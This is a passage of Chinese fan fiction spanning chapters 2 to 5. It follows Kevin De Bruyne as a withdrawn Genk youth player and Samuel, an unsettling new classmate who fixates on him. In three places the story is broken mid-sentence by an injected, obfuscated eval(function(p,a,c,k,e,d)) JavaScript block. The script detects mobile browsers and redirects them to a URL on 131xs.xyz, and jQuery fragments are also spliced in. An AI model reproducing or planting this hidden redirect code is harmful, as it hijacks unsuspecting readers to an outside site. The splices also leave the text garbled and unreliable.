《[足球]当心恶犬》 2. 02 学校的走廊上,塞缪尔再次见到了那个金发的少年。 几分钟前,管家刚和校长办完手续。校长和他们握了手,准备带塞缪尔去班级上介绍他给同学们认识。 这里是亨克唯一的中学。 所以,真巧。 塞缪尔对他微笑。 校长走到少年面前责怪发问:“已经是上课时间了,德布劳内先生,你怎么还在走廊里。” 塞缪尔就站在校长身边,丝毫不掩饰自己的视线。真是拗口的名字,他想。 名叫德布劳内的少年奇怪地看了塞缪尔一下,然后才对校长慢吞吞回答说:“我迷路了。” “迷路?”校长显然不相信。 德布劳内用沉默应对。 “好吧。听着,我知道你是来进行足球训练的,但那是在下午。上午你最好上课,否则俱乐部不会给你许可。”校长表态。 “好的,校长先生。”德布劳内回答。 他看上去一点也不在乎学校,但俱乐部的要求他不得不答应。 校长整了整袖口,换上一副笑脸转身面对塞缪尔:“走吧,我带你去教室。” 更巧的是,两个孩子在同一个班级。 路上,塞缪尔一直在看德布劳内。德布劳内能感觉到,但他一直没有回应。即便是不小心对上塞缪尔的眼睛,他也会立刻把视线移开。 可爱呢。 像猫一样。 到了班级门口,能听到里面正在上哲学课。 学生们听得昏昏欲睡。 “打扰了。” 校长把塞缪尔和德布劳内交给老师,老师带他们进去。德布劳内一秒都不耽误,很快回到自己座位上趴着,塞缪尔则乖巧站在台前。 “这是塞缪尔·邦迪,从巴黎来的转校生,未来会和我们一起学习。”老师介绍道。 在看清转学生的长相后,学生中间爆发了一阵讨论。老师不得不大声呵斥几个比较严重的家伙以维持秩序。 塞缪尔始终保持微笑。 尽管他非常排斥被这些皮疹一样无聊的家伙注视。 “你们好。”他说。 然后,在老师开口前,塞缪尔要走了德布劳内身边的位置。 “我能坐在那里吗?”他说,“那里比较通风。” 老师有些意外,但没有拒绝。 “去坐吧。” 很快,哲学课继续。 只是教室里早已没人在意黑格尔的理论究竟更偏向唯心主义还是辩证法。 * 放好东西后,塞缪尔的注意来到背朝着他的德布劳内身上。或者说他的注意从来就在那里没离开过。 “你好。”他对着那个金色的后脑勺小声打招呼,“听校长说你姓德布劳内,真是个有趣的姓氏,我能知道你的名字吗?” 德布劳内没出声。 他不想搭理这个转学生,反正他们以后不会经常见面,这样的社交是无意义的。 “你睡着了吗?”塞缪尔问。 是的,我睡着了。 德布劳内倍感欣慰。 但紧接着塞缪尔又说话了。 “我知道你还醒着。” 你不知道。 不要再跟我说话了,德布劳内心想。 “你睁着眼睛,我从窗户上看到了。”塞缪尔说。 哦,见鬼。 德布劳内心里骂了句,然后不情愿转过身。 “凯文。”他说。 “你好啊,凯文。”塞缪尔笑着打招呼。 我不好。 德布劳内心想,俱乐部的u16梯队选拔快要开始了,他本应该到训练场去加训,而不是被困在这儿听什么见鬼的哲学课。 ——还必须忍受新同桌让人讨厌的礼貌。 于是凯文·德布劳内再次转身,不去看烦人的转校生。 没想到塞缪尔不肯罢休。 “早上我看到你了。”他看着讲课的老师,小声说,“来之前,就在那条半森林的小路上,我看到你在埋东西。” 埋…… 德布劳内猛地回头,皱着眉紧盯塞缪尔,“你想表达什么。” “你生气了吗。”塞缪尔歪头,“对不起,我只想告诉你,我挖开了你的土包,你知道那只鸟还活着吗?” 德布劳内差点从座位上跳起来。 但好在理智仍占据上风,他压低声音急促地问:“你怎么敢肯定。” “我摸了它的喉咙,它还有心跳。”塞缪尔说。 凯文·德布劳内心跳加快,他开始不由自主看向塞缪尔的书包。也许,塞缪尔会从那里面把受伤的乌鸦拿出来? “现在呢?”德布劳内问。 “它一定是撞到了树上,所以晕过去了。我尝试给它做人工呼吸,它活过来了几分钟,但最后还是没挺过来。”塞缪尔很遗憾地说,“对不起,我没能拯救它。” 哦。 凯文眼神暗了下来。 是他想多了,世界上哪有那么多童话。 “知道了。”他说。 说完又转回去继续睡觉。 但是,德布劳内心想,这样会不会不太好? 新同桌或许会觉得他没有礼貌。 于是他回头,对塞缪尔补了一句“谢谢”,然后才回到原来的姿势,继续睡觉了。 德布劳内没看到的是,在他背后,塞缪尔正冲着他笑。 * 20分钟后,哲学课终于结束,到了课间休息。 塞缪尔身边很快围满了人,其中大半是女孩。这让邻座趴着的德布劳内非常不自在。他犹豫了一会儿,还是决定先不从人群中挤出去。 比起热闹,他更讨厌身体接触。 “塞缪尔塞缪尔,你为什么来我们这里?”有人问。亨克是小地方,一年到头都不会有一件新鲜事。 而且塞缪尔穿着合身的成套西装,有高贵的黑色头发,帅气的面庞,低调的气质,看起来就像是电视剧里贵族男校的尖子生。不应该出现在这里。 在所有人的注视下,塞缪尔笑了。 “家庭变故。”他说。 “就这么简单?”有人不相信。 “嗯,对啊。”塞缪尔耸耸肩,“就这么简单。” “得了吧,别藏着,快告诉我们。”又有人问,“你不说,我们可要开始猜了——是你爸爸或者妈妈工作调动吗?还是看上了这里的什么产业。” 其他围着的人开始起哄。 “说得对,塞缪尔,你的父母呢。”另一个人问,“他们是做什么的,也跟你一起从巴黎搬到这儿了吗?” 塞缪尔脸上的笑少了一些。 他明显不想谈这个话题,到底是哪个傻瓜在不停追问。德布劳内对着没人的地方翻了个白眼。 然后,就在德布劳内心里烦得不行,想着要不要还是冲出去算了的时候,就听见身旁塞缪尔淡淡说道:“他们都死了。” 原本叽叽喳喳讨论个不停的教室里一下变得安静。 没有人再出声。 大家都呆愣住了,互相看看不知道该说什么好。 “没关系 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15818181|175420||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,不用这么小心。”塞缪尔轻笑,“那是一场突发的火灾,在夜里。我父母和弟弟都在睡觉。管家告诉我他们走的很平静,没有痛苦。” 原来他还有个弟弟。 德布劳内想,那管家还真是好心,死于火灾的人,即使是在发生前睡着的,受到温度升高的刺激一定会醒,怎么可能不痛苦。 但他才不会说出来。 或许是不想再让气氛变尴尬,话题很快又回到了塞缪尔身上。有人借着光线注意到了他左眼颜色的不同。 “你的眼睛,怎么有一只是红色的?”一个金发的女孩问。 塞缪尔的笑又回到了最开始。 “还是因为那场大火。”他说着指了指左眼上方颅骨的位置,“管家带我逃出来的时候,路上有张烧着了的画掉下来,正好砸到我的头。” 也许是天生空间感比被人强,又或许是电视剧看得比较多,听到塞缪尔这么说,德布劳内瞬间在心里构思出了当时的场景。 “后来我去了医院,医生说是因为有血流进了眼睛里,导致虹膜变色。”塞缪尔的声音听上去轻快了不少,“这种情况很常见,一般过几天就会恢复,但我的不知道怎么回事,一直保持到了现在。” “这样挺酷的。”有男孩这么说,大概是在尝试安慰塞缪尔。 “是啊。”塞缪尔笑着,“我也这么觉得。” 凯文·德布劳内听不下去了,不知道是出于某种本能还是怎么,他一下子站起来,推开围在他们桌子旁的同学们,小跑着消失在走廊上。 在他走之前,他听到那几个被推到的学生在抱怨,并且希望塞缪尔能换个座位。 换了好,离远一点,德布劳内想。但差不多在同一时间,德布劳内又感觉有道视线穿过人群投在自己后背上,像把他架在火上烤。 他加快了离开的脚步。 * 距离上课还有几分钟,塞缪尔向他的同学们打听起了新同桌。 “凯文好像不太喜欢我。”他说,“是我哪里做得不好吗?” “不,他对谁都那样。”有人抢着回答道,“他也是转学来的,但比你早一年,是来踢足球的。这里是小地方,但这里的足球俱乐部是全比利时最好的。” 是踢足球的啊。 塞缪尔心里了然。 “那他——” “就这些了。”刚才那个金发女孩抱起胳膊说,“那家伙从不和我们一起玩,也不说话,我们知道的情况就这些。” 随后塞缪尔听到其他同学的附和声,他们叫她珍妮丝。 “凯文是个怪人。”另一个男孩总结道,“你以后别跟他走太近。” “是不是有什么误会。”塞缪尔问。 “不是的。你刚来,不清楚情况。他在亨克俱乐部的青训营进行训练,我爸爸是那里的管理员,所以能听到更多消息。”又一个男孩站了出来,“我听说他第一年是住在宿舍的,但他太孤僻了,宿舍的所有人都受不了他,所以今年俱乐部给他找了寄养家庭。” “孤僻吗。” “嗯。”那男孩点头,“我估计寄养家庭他也待不久,凯文这个人太难以相处了。” 冷漠,孤僻,难以相处。 这是同学们眼里的凯文·德布劳内。 可在塞缪尔眼里,凯文像一根嵌在血蔷薇里闪闪发光的骨头。 没人发现它的价值。 塞缪尔感觉自己心脏狂跳。 但他嘴上只说了句:“是吗,那还真是个怪人。” 上课铃响起,德布劳内没有回来。 3. 03 上午的最后一节文学课结束后,塞缪尔受邀和班级里的几个孩子一起去了餐厅。 分别是刚刚的金发女孩珍妮丝,父亲在亨克足球俱乐部工作的男孩特纳,以及身材高大的绿眼睛男孩雷蒙德。 他们应该是班级甚至学校里很受欢迎的那类学生。 塞缪尔不喜欢这类无意义的群居活动,但他不会拒绝参加。只有接触过才知道哪些人是软弱的,哪些人是贪婪的,还有哪些人是可以为他所用的。 当然了,少数情况下他会碰到珍贵的收藏品。那些可以打上他的标签、随时都可以欣赏的、完完全全属于他的—— 「东西」 塞缪尔的视线移向角落。 在那里,他发现了凯文·德布劳内。 和大多数人不同,德布劳内是一个人吃饭的,并且丝毫不受影响。 凯文、凯文…… 塞缪尔在心里换着不同的语气一遍一遍研磨这个名字,想象读出它时必须咧开的嘴角和时不时接触的牙齿与嘴唇。 不属于任何一个分类。 真令人着迷啊。 或许,人类对陪伴的向往也有些道理。 “…塞缪尔,塞米?在想什么。” 塞缪尔收回目光,微笑看向金发的女孩。 “没什么,一点琐事。”他说,“怎么了珍妮丝?” “哦,我们是在说派对。”珍妮丝有些脸红,“这周末我们打算趁着天气还没凉下来在湖边聚一聚,你来吗?” “大家都会去吗?”塞缪尔问。 “嗯,我们会邀请所有的酷孩子。”雷蒙德说,“不过我不喜欢河边,去年夏天我就被水里的石头划伤了小腿。” “那是你自己的问题。”特纳做了个‘真逊’的手势,随后看向塞缪尔,“你呢,敢下水吗。” 塞缪尔笑起来。 “我更喜欢泳池。”他说着,有了一整套计划,“为什么我们不换个地方来办派对呢,各位。” “比如?” “到我家怎么样。” “你家?” “对。我家很大,有四层楼,也有泳池。可以做很多有趣的活动。”塞缪尔解释说,“我希望能用这种方式帮助到大家。” 他停顿了一下:“而且最重要的是——” “是什么?” “我父母不会突然回来对派对活动大发雷霆然后赶走所有人。”塞缪尔笑眯眯补完后半句。 “……” 看着身边三人被震惊到的眼神,塞缪尔笑出了声。他这一笑气氛才放松下来。 “这是个好主意,塞缪尔。那就这么说定了,派对在你家举行。”珍妮丝最先表态,“周五下午只有一节科学课,我们可以提前离开去布置现场。” 提到科学课,她吐舌头做了个恶心的表情。 “有人告诉过你吗,我们的科学老师是个神经病,真的会让我们动手解剖动物尸体!” “不会吧。”塞缪尔给足了情绪价值。 “是的,他会!而且要是你不敢,他还会拿着你的手帮你!”珍妮丝用生动的表情演绎出了她到底有多讨厌那老师,“所以我的建议是,上课前找个熟练的搭档,准备好呕吐袋,以及中午别吃太多。” 塞缪尔:“明白。” “你说的我没胃口了,珍妮丝。”雷蒙德推开面前的餐盘,“走吧,我们到前院去,商量一下派对名单的事。” 就这样,午餐结束。 塞缪尔跟着他们去还了盘子。 路上,他不经意看了眼刚才的角落。德布劳内已经不在那里了。意料之中。 * 下午只有一堂课,是可选择的课程,塞缪尔选了比较冷门的人类学。 因为他看到德布劳内选了这门课。 这次在教室上课,比上午的阳光更充足一些,塞缪尔还是坐在了德布劳内身边。 “我还没有对应的课本。”他说,“可以和你一起看吗,这里我只认识你,凯文。” 德布劳内看了他一眼,动手把书本放在了中间。过程中什么也没说。 “谢谢。”塞缪尔笑着道谢。 德布劳内又看了他一眼,这次把椅子往远处挪了挪。 不喜欢? 塞缪尔的微笑变成了眯眼笑,然后保持椅子不动,身子向德布劳内那边试探性地靠过去。 德布劳内再次看向塞缪尔。 塞缪尔似乎听到他发出了‘啧’的一声。 “对不起,这样能看更清楚些。”塞缪尔说,“我是说,课本。” “……” 德布劳内没回他的话,反而问起别的事情:“中午我看见你了。” 塞缪尔:“嗯?” “你和你的朋友们在一起吃饭,我看见了。”德布劳内说,“为什么不和他们一起上课,我敢说他们不会拒绝你靠过去。”甚至贴上去也没问题。 他嘲讽地想,尤其是那金头发的女孩,她对你有意思你看不出来吗。 “可是我对他们的课没兴趣。”塞缪尔回答,“比起设计、地理、历史,我更好奇人类研究。” “难道你不是吗?”塞缪尔问。 是。 但德布劳内不仅因为对人类行为感兴趣,还因为这门课考试简单容易及格才选的它。 踢足球不要求高学历,但至少要中学毕业。 被看穿很让人不爽。 德布劳内不再搭理塞缪尔。 然后塞缪尔换了种方式。 他拿出一支铅笔,开始在距离自己最近的书页上画画。那是一颗只有拇指甲盖大小的人头像。 德布劳内没有制止,因为他想、但是只有一点点想知道塞缪尔画的是谁。 然而就在看清楚之前,老师发现了这两个没有听讲的学生。 “邦迪先生是今天新来的对吧。”他问道,“我有点惊讶你会选这门课。没有提前了解是我的失误,能跟得上吗?” “人类学很有趣,老师讲得也很生动。”塞缪尔用了标准模板回答说,“我想这并不困难。” 老师又问:“那么,可以用你的理解讲一下法国人类学家马塞尔·莫斯的思想吗?” 塞缪尔站起来。 微笑着。 “好啊。” 德布劳内有点紧张,刚才塞缪尔完全没听课,他们的课本也没有翻到这堂课进行到的部分。 他想知道如果搞砸了,他们会不会被留堂。他不能被留堂,他还要去训练。这都是塞缪尔的错,还有他愚蠢的画…… “我认为马塞尔·莫斯是20世纪最好的人类学家,他的《礼物》尝试挑战了人们对于人类交换制度的初级形式、也就是物物交易的普遍假设。换句话说,他的思想为反对功利主义运动提供了支持。” 塞缪尔一本正经地回答了老师的问题。 并且从他的表述看,这次的回答还没结束。 怎么回事。 德布劳内抬头看塞缪尔的侧脸,但他很快意识到自己的探究过于明显,于是回过头,假装什么也没发生。 “其实我本人并不是很认可马塞尔·莫斯的思想,我觉得,人类不可能是完全利他的。因为我们并没有脱离动物的范畴,只是一种更高级的形态。”塞缪尔继续说。 ……确实如此。 德布劳内同意塞缪尔的回答,他想,一切人类研究脱离了动物的本能都是片面的。 但就在他想听更多的时候,塞缪尔猝不及防收了尾:“索取和给予。在不脱离动 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15818182|175420||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 物本能的条件下,这就是我理解的人类本质。” 老师肯定了塞缪尔的解读,并带头鼓掌,塞缪尔坐回位置。 课堂继续。 一切似乎都按照正常的轨迹发展。 只有德布劳内微微低头,心脏跳动越来越快。塞缪尔的话没说完,他可以肯定。 索取和给予? 不对,他真正该说的,是一种更原始,更直白的东西才对。 但他没说。 德布劳内抠了抠指甲,余光扫过塞缪尔画的人像,那是一张熟悉的脸。 他的脸。 “……” 绝对是故意的。 * 这堂课结束就到了放学时间,德布劳内拿走书离开教室,没有道别。 然而在校门口他还是碰上了塞缪尔。 德布劳内推着自行车,正好看到塞缪尔站在一辆黑色的轿车旁,管家样的男人给他拉开车门,两人说着什么。 一瞬间,他想到了乡下姨妈家的看门狗。它从不出声,只是直勾勾地盯着他。也让摸,看上去是个好脾气,但似乎随时准备在他大腿来上一口。 是那种介于可控和失控之间的动物。 真烦。 赶紧上车走。 可塞缪尔不仅没上车,还看到了德布劳内并朝他打招呼。 “我听他们说你要去亨克俱乐部练习足球,我家就在那个方向,而且和训练场距离很近。不如我让司机顺路带你去吧,凯文,就当作你借给我课本看的感谢。” 德布劳内看了眼塞缪尔的车。 如果换一个人邀请,他可能会答应,但鉴于自己今天一整天的反常都是从遇见这家伙开始的,德布劳内拒绝了他的提议。 “好吧,或许下次。”塞缪尔没有强求,“明天见。” 如果可以,他希望不要再见到塞缪尔了。德布劳内想,预感告诉他,再这样下去他平静的生活会被搅成一团糊糊。 那对他的足球事业没有任何帮助。 德布劳内骑车离开了。在他身后,塞缪尔一直注视着他,直到他的身影变成小黑点最后消失不见。 塞缪尔换了一副面孔坐进车里。 “我的收藏和工作台都放好了吗?”他冷声问。 “都收拾好了,就放在地下室。”管家回答说,“不过我们带来的那一批「货」出了点问题。路上颠簸,管道断开,冷气停止,大部分都不能用了。” 塞缪尔表现得很不在意,毕竟他有了新的兴趣。 “新的一批已经在路上了。”管家又说,“这次保证新鲜,你很少尝试的那种,我可以帮忙处理血液。” 塞缪尔没有拒绝。 * 傍晚,德布劳内训练完回到寄宿家庭的房子,按部就班吃晚饭,回答他们有关足球的问题。 上楼时,他听到这家的母亲在厨房跟丈夫抱怨什么错误的决定。他没太在意,也就错过了后面两人对话中有关他的部分。 “那孩子像个幽灵,我们不能再继续了…是的,等时间一到就把他送回去…希望下次是个讨人喜欢的。” 房间里,德布劳内躺在床上枕着手臂看天花板发呆。通常情况下他这时候都在想足球,想训练,想自己还能怎么更进一步。 但是今天,现在,他满脑子都是那双总时不时盯着自己后背的、一红一蓝的眼睛。 “……” 德布劳内翻身闭上眼睛,然而他越是阻止自己,他的大脑就越是去想,甚至在回忆里让他看到了塞缪尔下颌有一颗淡淡的痣。 不要再想了。 听到没有,不要再想了。 快到午夜的时候德布劳内艰难成功了。 这一晚,塞缪尔没有侵入他的梦。 4. 04 星期三很难熬,对学生们尤其是。不过凯文·德布劳内没有这个困扰,因为星期三是他们梯队的比赛日,他可以不用到学校去。 看着身边空荡荡的位置,塞缪尔用手指在桌面画了无数心脏,老师讲的一个字都没听进去。 他也度过了难熬的一天。 到了星期四,德布劳内回来了,塞缪尔很开心地和他打了招呼,但德布劳内置之不理。 于是在上课后,塞缪尔写了张纸条塞过去。上面写着:“你回来啦,比赛怎么样?” 但是德布劳内只是看了眼纸条,就把它揉成团塞到了桌子下面的夹层里。然后继续背对着塞缪尔趴在桌子上,还是不理他。 看来结果不太好。 塞缪尔微笑了一下,又给德布劳内递纸条。 这次他画了个卡通兔子。长耳朵,圆眼睛,大门牙。旁边还画了个气泡,里面写着:“Hi” 结果不出所料,还是被揉成团了。 没关系,塞缪尔还能画。 不过他不画兔子了,他画了个狗,一只趴着的小狗,鼻子前还有个网球,身后尾巴画了摇起来的效果。旁边的气泡则改成了:“woof” 结果当然还是被揉成团了。 塞缪尔仍然不生气。他身上有很多特质,其中之一就是执著。 这一次的纸条上,他画了只猫。 一只仅用15笔画成的卡通猫猫头。 这次的纸条终于没被揉。 塞缪尔运气好,用了不到5次就抓到了德布劳内的喜好。 他托着下巴,看上去是在听课,其实注意力全都在身边躲着他动笔在纸条上写写画画的德布劳内身上。 很快,德布劳内把纸条推回来了。 塞缪尔打开它,看到上面的猫头被改成了猪头,旁边还画了个箭头指过去,写着“你”。 哈哈,真可爱。 塞缪尔欣赏了那个猪头一会儿,动笔在下面加了个身子。一个傻乎乎跳舞的身子,又把“你”涂掉,写上“不,是你”。 遗憾的是,这样的游戏没能持续太久。 在塞缪尔往小猪脚下画了个足球后,德布劳内的桌板下面新增一个团成球的纸条。他也再次不理塞缪尔了。 生气了? 塞缪尔不管,塞缪尔继续画。 新的纸条上是只拟人化的毛绒小猫在刻苦踢球,因为小猫的耳朵被画得手感很好,德布劳内多看了几秒,揉了。 很快又来一张,主角还是那只小猫,只是场景发生了变化,他不是在带球的路上而是在射门。 还是揉了。 第三张变动更大了,小猫在门前举着爪子庆祝。身后是一个卡通球门,里面躺着一只足球。 德布劳内:“啧。” 没劲,揉了。 第四张小猫夺冠了,他带着奖牌举着鲜花正在领奖。德布劳内看了一会儿,又想了想,把前几张揉成团的纸条拿出来连着看。 幼稚。 输就输了,好像谁输不起似的。 德布劳内还是把它们揉成了一个个纸团,并且丝毫没有遮掩自己的动作。 之后他主动给了塞缪尔一张纸条。 塞缪尔特别开心。 打开看,上面写着:“你是个白痴。” 塞缪尔更高兴了。 * 两节课上完就到了中午,塞缪尔看着德布劳内起身,带着一堆纸团走到垃圾桶旁,然后把它们一股脑全都丢了进去。 “塞缪尔快来,我们去餐厅。今天有鸡蛋沙拉,你必须得尝尝它们!”门口,珍妮丝抓着雷蒙德的胳膊对塞缪尔招手。 “你们先去。”塞缪尔说,“我有点事,马上就来。” 珍妮丝和两个男孩去了餐厅,几分钟后教室里彻底没了人。塞缪尔慢吞吞走到垃圾桶旁,从里面把德布劳内扔掉的纸团全都捡回来,然后一个一个打开。 确认里面没有他画的踢球小猫后,塞缪尔笑了。 果然是演给我看的吧。 心口不一哦,凯文。 要怎么奖励你呢? 餐厅里,凯文·德布劳内已经端着盘子在柱子边站了好一会儿,他没有坐到自己经常去的位置,像是在思考要不要换一个位置。 这时塞缪尔来了餐厅,德布劳内往柱子后面站了站,然后又往外走了两步,差点弄撒盘子里的果汁。 “这边!”珍妮丝向塞缪尔招手,“已经帮你拿好了,塞米,过来坐!” 塞米? “谢谢你珍妮丝。”塞缪尔很自然地坐了过去。 女孩对他甜甜一笑。 两个男孩则动作整齐地翻了白眼。 德布劳内盯着饮料杯里的气泡发了一会儿呆,然后随便找了个位置坐下。几分钟后塞缪尔再往这边看,座位上已经没有人影了。 * 转过天来,塞缪尔收到了来自德布劳内的礼物:一上午的无视大礼包。无论他做什么德布劳内就是假装看不见。 中午吃饭的时候,德布劳内换了一张桌子。这个位置不太好,旁边总有很多人经过,但坐在这里能够不用扭头就能看到珍妮丝小团体的桌子。 德布劳内慢慢地往面包上涂酸奶。 他看到珍妮丝正坐在那里拆一袋麦片,雷蒙德在吃熟香肠,特纳坐在他俩对面,在啃一个橙子。 塞缪尔不在那儿。 德布劳内低头吃面包,心里有点疑惑,但不太想扭头在餐厅里来回看,那让他觉得自己像条蜥蜴。 就在这时,有人走到他身边。 “嘿。” 德布劳内抬头,看到了端着盘子微笑的塞缪尔。 什么意思? 他不去小团体那儿要坐在这里吗。 “这儿有人了。”德布劳内说。 “哦不不,别担心,我不会烦你的。”塞缪尔说,“我只是来给你这个。” 说完,他从口袋里拿出一个苹果放在了德布劳内面前的桌子上,然后又把一小串葡萄放在旁边。 德布劳内盯着那些水果。 无声地表达疑惑。 “今天下午有科学课。”塞缪尔说,“他们告诉我科学课总是让人反胃,中午吃点水果最好。” 德布劳内有一瞬间的错觉,仿佛他才是那个新来的转校生。 “——顺便,有人说你们马上还有比赛,真的好辛苦。”塞缪尔又说,“这次加油,我等你好消息。” 我为什么要告诉你好消息, 你是谁啊。 德布劳内在心里反驳完,嘴上什么都没说。 “塞米!” “——就来了。”塞缪尔答应一声,对着德布劳内挥挥手,“我得走了,他们在叫我。下午见凯文。” 德布劳内还是没说话。 他余光瞥见塞缪尔去到了珍妮丝小团体的桌子上。几人说说笑笑,特纳还拿出了一张纸,像是在计划什么。 赶紧过去吧,无聊中学生活。 德布劳内想着摘下一颗葡萄丢进嘴里,是他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15818183|175420||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 喜欢的口感,介于没熟透的酸涩和熟透了的甜软之间。 一个没注意,那一串葡萄快被他吃光了。 嘴里咬着葡萄籽,德布劳内微微抬头,他看到塞缪尔面前的盘子里只有半个面包和几片萨拉米。紧接着他又看到特纳分给了塞缪尔一半橙子。 所以。 这家伙是把他自己的水果拿过来了? 德布劳内心里觉得没劲,提前结束了午餐。这次他故意从小团体的桌子旁边经过。 他感觉塞缪尔的视线在紧跟着自己,但当他回头,塞缪尔只是和他的朋友们聊天,根本没在看他。 “……” 德布劳内放下盘子快步离开了餐厅。 * 下午,到了传说中的科学课。 踩着上课的铃声,老师风风火火走进教室。那是个胡须整齐的中年男人,褐色头发,身材不错,戴无边眼镜,身上散发着某种书呆子的性感。 “下午好啊,大家。”他听上去风趣又幽默,“做好准备和老师探索生命的奥秘了吗?” “你也好,瑞德教授。”前排的珍妮丝对他打了招呼,“我们很乐意跟你一起探索生命,但没人希望这会由我们自己动手。” 教授? 一个教授。 塞缪尔觉得很有趣。 瑞德教授则哈哈大笑,似乎对珍妮丝的讽刺毫无知觉。 “学校聘请我来就是为了让你们能亲自感受生命。”他说着将一个实验箱放在地上,“现在,我需要一个助手来给大家分发实验小白鼠——珍妮丝,你来怎么样?” “噢!”珍妮丝发出一声厌恶的叹息,“为什么是我?” “你是我见过最贴心的学生。”瑞德教授说道,“剩下的,两个人一组,选好实验桌等着就行了。” 女孩大声抱怨,但还是按照要求做了。 很快,大家都找好了搭档。 雷蒙德和特纳一起,他们两个看上去有点绝望,似乎已经对结果不抱希望了。 塞缪尔扫了一圈,有不少人希望能和他一组,但他比他们快上一步,先站到了德布劳内身边。 “我们两个一组吧,凯文。”他说。 德布劳内站在原地没说话,像在等他解释。 于是塞缪尔又说:“我还没上过做实验的科学课,你看上去很熟练,帮帮我吧,拜托了。” 哦。你觉得一个经常下午不上课去练习足球的学生对实验很熟练。德布劳内不屑地哼笑了一声,要么你是个笨蛋,要么你是在找借口。 但他没有这么说。 “可以。”德布劳内耸耸肩,“总不会更差了。” 塞缪尔笑了。 就在这时前排传来尖叫声。珍妮丝脸色很难看,她快速从箱子里拿出实验用的白色老鼠发给同学们,然后快步走到塞缪尔面前。 “很疯狂吧,给中学生上解剖课,还是用小白鼠。”她小声抱怨道,“瑞德教授有毛病,随便做做就好,然后我们在校门口见。” “好,一会儿见。”塞缪尔挥手答应道。 很快珍妮丝去给别的桌子发小白鼠了,临走前她勉为其难地对德布劳内笑了一下,不过眼神还是看怪人的眼神。 她走后,德布劳内看了那只小白鼠好久。然后,他又看了塞缪尔一眼。塞缪尔正在认真读着实验桌上的注意事项。 “要戴手套吗?”塞缪尔问。 “嗯。”德布劳内抽出橡胶手套,突然问了个不相关的问题:“你们,是要去约会?” 5. 05 “约会?不是的。”塞缪尔笑了,“是派对,我们要去商量派对的事。” 德布劳内没注意,乳胶手套被扯的‘啪’一声。 “派对?” “嗯。”塞缪尔转头对他说,“他们本来想要在河边办个派对,我说不如去我家。那里曾经荒废了很久,我敢说大家都对它很感兴趣。” 德布劳内没说话,肩膀放松了不少。 “你呢?”塞缪尔突然问,“要来吗?” “什么时候。” “这周末。” “我明天有比赛。”德布劳内说。并且他不想和那些所谓的‘很受欢迎’的孩子们一起玩。 就好像他有多想融入他们一样。 “你可以比赛后来,我们没有时间限制。”塞缪尔又说,“而且晚上有派对游戏,我保证你会喜欢。” 保证什么,你根本不知道我喜欢什么。 我们才认识多久。 德布劳内想着说道:“我比赛后只想吃东西和睡觉。” “好吧。那你是该好好休息。”塞缪尔耸耸肩,“下次吧,下次派对我会在你没有比赛的时候办。” 就那么想让他去吗。 德布劳内没说话。 “好了,孩子们,相信你们都已经准备好了。”瑞德教授让学生们拿起小鼠,边讲解生理结构边让他们看着该如何下刀。 塞缪尔往德布劳内那边靠近一步,小声说:“我还以为这会是大学里才有的课程。” 是的。 德布劳内也是这么想的,他不明白为什么瑞德教授要给一群中学生上这样的课。 但他不会去质疑,仅仅只会在心里想一想。 “好了,现在到你们了。”瑞德教授摘掉手套,“记得戴好防护面具。” “你拿了有病的老鼠给我们吗?”珍妮丝尖声质问。 瑞德教授哈哈笑起来。 “当然不会,亲爱的珍妮丝。”他说,“这些小鼠非常干净,你们甚至可以把它们烤来吃。” 教室里响起了此起彼伏的干呕声。 “我只想提醒大家,别把血液弄到身上,会很不好洗。”瑞德教授解释说,“等下了课我还需要一个学生来帮我收拾残局,谁想要这个幸运的职位?” 显然,没人觉得这很幸运。 “那就由成绩最糟糕的来做吧。”随着教授做出决定,实验室里一片凝重,大家都不想成为这个倒霉蛋。 塞缪尔轻笑一声。 德布劳内扭头去看,但似乎这声音只有他听见了。 “我们谁先来?”塞缪尔拿起解剖刀问。 德布劳内沉默了好一会儿。 “我来。” 然后他去拿塞缪尔手里的刀。 “小心一点。”塞缪尔说,“这刀很锋利。” 德布劳内没说话。 他很谨慎地从塞缪尔手中接过那把小刀。 两人的手碰到了一起。 准确地说,是隔着乳胶手套,手指轻微触碰到对方。并且也只有一下,很快德布劳内收回了手。 塞缪尔顿了顿,把手拿回去。 “抱歉。”塞缪尔说,“我的错。” 德布劳内不喜欢错这个词。 从手指的位置开始,仿佛有根细线连通着身体的各个部位,尤其是躯干中心,感觉像有化学品燃烧。 德布劳内停了下来。 “怎么了?”塞缪尔问,“不舒服吗?” 德布劳内忍了很久,这才用一个单词回答了塞缪尔。 “胃。”他说。胃里难受。 “那还是我来吧。”塞缪尔拿回解剖刀,“你指导我。” 德布劳内没说话,算是默许了。 突然,他发现桌子上被固定好的小白鼠好像动了一下。 眼花了吗,他想。瑞德教授肯定不会拿还活着的小鼠给他们。 